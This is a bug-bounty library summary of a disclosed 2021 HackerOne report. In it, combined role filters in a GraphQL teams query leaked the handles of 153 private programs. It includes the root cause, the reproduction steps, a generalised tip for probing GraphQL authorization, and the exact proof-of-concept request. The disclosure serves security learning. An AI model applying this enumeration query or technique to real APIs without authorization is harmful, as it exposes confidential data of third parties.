# Disclosure handle private program with external link

GraphQL teams query filtered by roles is_has_published_external_program AND is_private leaked handles of 153 private programs that have external links.

- Payout: $2,500
- Severity: medium
- Program: HackerOne
- Found by: haxta4ok00
- Disclosed: 2021-08-24
- Write-up quality: 6/10
- Original: https://hackerone.com/reports/1276992
- Library page: https://bugbountylibrary.com/r/h1%3A1276992
- Tags: area:web domain:web impact:data-leak kind:bounty platform:hackerone sev:medium tech:graphql technique:recon vuln:access-control vuln:info-disclosure

**Target:** HackerOne GraphQL /graphql teams query
**Root cause:** The teams GraphQL resolver allowed filtering on role flags (is_has_published_external_program, is_private) without restricting results to programs the authenticated user is authorized to see, exposing private program handles.
**Steps:**
1. Authenticate to hackerone.com and obtain X-Auth-Token/Cookie.
2. Send `POST /graphql` with query `{teams(last:100,where:{_and:[{roles:is_has_published_external_program},{roles:is_private}]}){total_count,nodes{_id,handle,state,participants{total_count}}}}`.
3. Observe response listing 153 private programs with handles such as `security-test-ep-invite-only`.
**How found:** Hypothesis that GraphQL role-based filters could be combined to select private programs with external links; tried the _and filter on roles and observed private handles returned.
**Exploitation:** Any authenticated user issues the crafted GraphQL query and reads back handles of private programs that have external links, defeating the confidentiality of invite-only programs.
**Insight:** On GraphQL APIs, try combining role/permission filter arguments (e.g. is_private, is_has_published_external_program) in `where` clauses — authorization is often applied to the object fetch but not to filter-based enumeration.

## Proof of concept (copied exactly from the original report)

**GraphQL query enumerating private programs with external links**

```
POST /graphql HTTP/1.1
Host: hackerone.com
Connection: close
Content-Length: 168
accept: */*
X-Auth-Token: your_token
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36
content-type: application/json
Origin: https://hackerone.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate
Accept-Language: ru-RU,ru;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: your_cookie

{"query":"{teams(last:100,where:{_and:[{roles:is_has_published_external_program},{roles:is_private}]}){total_count,nodes{_id,handle,state,participants{total_count}}}}
```

